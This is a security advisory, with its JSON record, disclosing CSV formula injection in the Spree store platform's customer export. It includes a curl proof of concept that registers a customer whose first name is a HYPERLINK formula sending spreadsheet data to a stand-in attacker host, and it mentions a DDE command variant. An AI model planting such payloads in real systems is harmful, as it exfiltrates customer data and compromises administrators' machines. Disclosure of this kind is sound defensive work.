GHSA-XF4V-W5X5-PV79

Vulnerability from github – Published: 2026-06-04 18:46 – Updated: 2026-06-04 18:46
VLAI
Summary
Spree: CSV Formula Injection in Customer Export
Details

Summary

CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the context of the administrator's desktop, potentially exfiltrating data or executing OS commands via DDE (Dynamic Data Exchange).


Details

Affected presenters and fields

Presenter Path User-controlled fields
CustomerPresenter spree/core/app/presenters/spree/csv/customer_presenter.rb:36 first_name, last_name, address1, address2, city, phone

Vulnerable code — customer_presenter.rb (representative example)

# spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53
def call
  csv = [
    customer.first_name,          # ← written verbatim; may contain =HYPERLINK(...)
    customer.last_name,           # ← user-controlled
    customer.email,              
    customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),
    customer.address&.company,    # ← user-controlled
    customer.address&.address1,   # ← user-controlled
    customer.address&.address2,   # ← user-controlled
    customer.address&.city,       # ← user-controlled
    customer.address&.state_text,
    customer.address&.state_abbr,
    customer.address&.country&.name,
    customer.address&.country&.iso,
    customer.address&.zipcode,
    customer.phone,               # ← user-controlled
    customer.amount_spent_in(Spree::Store.current.default_currency),
    customer.completed_orders.count,
  ]
  csv += metafields_for_csv(customer)
  csv
end

PoC

Precondition: A Spree store with public customer registration enabled (default configuration). No special permissions required for the attacker.

Step 1 — Register as a customer with an injected first name

curl -X POST https://store.example.com/api/v3/store/customers \
  -H "Content-Type: application/json" \
  -H "X-Spree-Api-Key: pk_<publishable_api_key>" \
  -d '{
    "email": "attacker@evil.com",
    "password": "password123",
    "password_confirmation": "password123",
    "first_name": "=HYPERLINK(\"http://attacker.example.com/exfil?d=\"&B1,\"Click\")",
    "last_name": "Smith"
  }'

Step 2 — Admin triggers a customer export

curl -X POST https://store.example.com/api/v3/admin/exports \
  -H "Authorization: Bearer <admin_jwt>" \
  -H "Content-Type: application/json" \
  -d '{"type": "Spree::Exports::Customers", "record_selection": "all"}'

Step 3 — Admin polls until ready, then downloads

# Poll for completion
curl https://store.example.com/api/v3/admin/exports/<export_id> \
  -H "Authorization: Bearer <admin_jwt>"

# Download
curl https://store.example.com/api/v3/admin/exports/<export_id>/download \
  -H "Authorization: Bearer <admin_jwt>" \
  -o customers.csv

Step 4 — Verify injection in the raw CSV (without opening in Excel)

Open customers.csv in a text editor. The first data row will contain:

"=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","attacker@evil.com",...

Step 5 — Admin opens customers.csv in Microsoft Excel (Windows)

  • Excel warns about external data connections; if the administrator clicks Enable, the HYPERLINK formula fires and sends a GET request to http://attacker.example.com/exfil?d=<B1_value>.
  • Cell B1 in the customers export is the Last Name column. Adjacent columns contain email, address, and order total data for all exported customers.
  • With the DDE variant (=CMD|...) on older or unpatched Excel versions, a subprocess is launched on the administrator's machine.

Impact

Vulnerability class: CSV / Formula Injection (CWE-1236)

Who is impacted

  • Administrators who download and open export files in spreadsheet software are the direct victims. Administrative accounts have access to all store data, payment method configurations, customer PII, and full order history.

Realistic attack chain

Step Actor Action Privilege required
1 Attacker Registers as customer Public registration
2 Attacker Sets first_name to formula payload None beyond registration
3 Admin Runs a routine weekly/monthly export Normal operational task
4 Admin Opens CSV in Excel None
5 Attacker Receives exfiltrated spreadsheet data Passive

Data at risk

All data visible to the administrator in the spreadsheet at the time of opening, including:

  • All exported customer emails, names, addresses, phone numbers
  • Order totals and purchase history
  • Any other columns in the same export file
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "spree"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2.0"
            },
            {
              "fixed": "5.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "spree"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.3.0"
            },
            {
              "fixed": "5.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "spree"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.4.0"
            },
            {
              "fixed": "5.4.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1236"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-04T18:46:04Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nCSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted\nExport in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the\ncontext of the administrator\u0027s desktop, potentially exfiltrating data or executing OS commands\nvia DDE (Dynamic Data Exchange).\n\n---\n\n### Details\n\n#### Affected presenters and fields\n\n| Presenter | Path | User-controlled fields |\n|---|---|---|\n| `CustomerPresenter` | `spree/core/app/presenters/spree/csv/customer_presenter.rb:36` | `first_name`, `last_name`, `address1`, `address2`, `city`, `phone` |\n\n#### Vulnerable code \u2014 `customer_presenter.rb` (representative example)\n\n```ruby\n# spree/core/app/presenters/spree/csv/customer_presenter.rb:36\u201353\ndef call\n  csv = [\n    customer.first_name,          # \u2190 written verbatim; may contain =HYPERLINK(...)\n    customer.last_name,           # \u2190 user-controlled\n    customer.email,              \n    customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),\n    customer.address\u0026.company,    # \u2190 user-controlled\n    customer.address\u0026.address1,   # \u2190 user-controlled\n    customer.address\u0026.address2,   # \u2190 user-controlled\n    customer.address\u0026.city,       # \u2190 user-controlled\n    customer.address\u0026.state_text,\n    customer.address\u0026.state_abbr,\n    customer.address\u0026.country\u0026.name,\n    customer.address\u0026.country\u0026.iso,\n    customer.address\u0026.zipcode,\n    customer.phone,               # \u2190 user-controlled\n    customer.amount_spent_in(Spree::Store.current.default_currency),\n    customer.completed_orders.count,\n  ]\n  csv += metafields_for_csv(customer)\n  csv\nend\n```\n\n---\n\n### PoC\n\n**Precondition**: A Spree store with public customer registration enabled (default\nconfiguration). No special permissions required for the attacker.\n\n#### Step 1 \u2014 Register as a customer with an injected first name\n\n```bash\ncurl -X POST https://store.example.com/api/v3/store/customers \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-Spree-Api-Key: pk_\u003cpublishable_api_key\u003e\" \\\n  -d \u0027{\n    \"email\": \"attacker@evil.com\",\n    \"password\": \"password123\",\n    \"password_confirmation\": \"password123\",\n    \"first_name\": \"=HYPERLINK(\\\"http://attacker.example.com/exfil?d=\\\"\u0026B1,\\\"Click\\\")\",\n    \"last_name\": \"Smith\"\n  }\u0027\n```\n\n#### Step 2 \u2014 Admin triggers a customer export\n\n```bash\ncurl -X POST https://store.example.com/api/v3/admin/exports \\\n  -H \"Authorization: Bearer \u003cadmin_jwt\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"type\": \"Spree::Exports::Customers\", \"record_selection\": \"all\"}\u0027\n```\n\n#### Step 3 \u2014 Admin polls until ready, then downloads\n\n```bash\n# Poll for completion\ncurl https://store.example.com/api/v3/admin/exports/\u003cexport_id\u003e \\\n  -H \"Authorization: Bearer \u003cadmin_jwt\u003e\"\n\n# Download\ncurl https://store.example.com/api/v3/admin/exports/\u003cexport_id\u003e/download \\\n  -H \"Authorization: Bearer \u003cadmin_jwt\u003e\" \\\n  -o customers.csv\n```\n\n#### Step 4 \u2014 Verify injection in the raw CSV (without opening in Excel)\n\nOpen `customers.csv` in a text editor. The first data row will contain:\n\n```\n\"=HYPERLINK(\"\"http://attacker.example.com/exfil?d=\"\"\u0026B1,\"\"Click\"\")\",\"Smith\",\"attacker@evil.com\",...\n```\n\n#### Step 5 \u2014 Admin opens `customers.csv` in Microsoft Excel (Windows)\n\n- Excel warns about external data connections; if the administrator clicks **Enable**, the\n  `HYPERLINK` formula fires and sends a GET request to `http://attacker.example.com/exfil?d=\u003cB1_value\u003e`.\n- Cell B1 in the customers export is the **Last Name** column. Adjacent columns contain\n  email, address, and order total data for all exported customers.\n- With the DDE variant (`=CMD|...`) on older or unpatched Excel versions, a subprocess\n  is launched on the administrator\u0027s machine.\n\n---\n\n### Impact\n\n**Vulnerability class**: CSV / Formula Injection (CWE-1236)\n\n#### Who is impacted\n\n- **Administrators** who download and open export files in spreadsheet software are the\n  direct victims. Administrative accounts have access to all store data, payment method\n  configurations, customer PII, and full order history.\n\n#### Realistic attack chain\n\n| Step | Actor | Action | Privilege required |\n|---|---|---|---|\n| 1 | Attacker | Registers as customer | Public registration |\n| 2 | Attacker | Sets `first_name` to formula payload | None beyond registration |\n| 3 | Admin | Runs a routine weekly/monthly export | Normal operational task |\n| 4 | Admin | Opens CSV in Excel | None |\n| 5 | Attacker | Receives exfiltrated spreadsheet data | Passive |\n\n#### Data at risk\n\nAll data visible to the administrator in the spreadsheet at the time of opening, including:\n\n- All exported customer emails, names, addresses, phone numbers\n- Order totals and purchase history\n- Any other columns in the same export file",
  "id": "GHSA-xf4v-w5x5-pv79",
  "modified": "2026-06-04T18:46:04Z",
  "published": "2026-06-04T18:46:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/security/advisories/GHSA-xf4v-w5x5-pv79"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spree/spree"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/releases/tag/v5.2.8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/releases/tag/v5.3.6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spree/spree/releases/tag/v5.4.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Spree: CSV Formula Injection in Customer Export"
}


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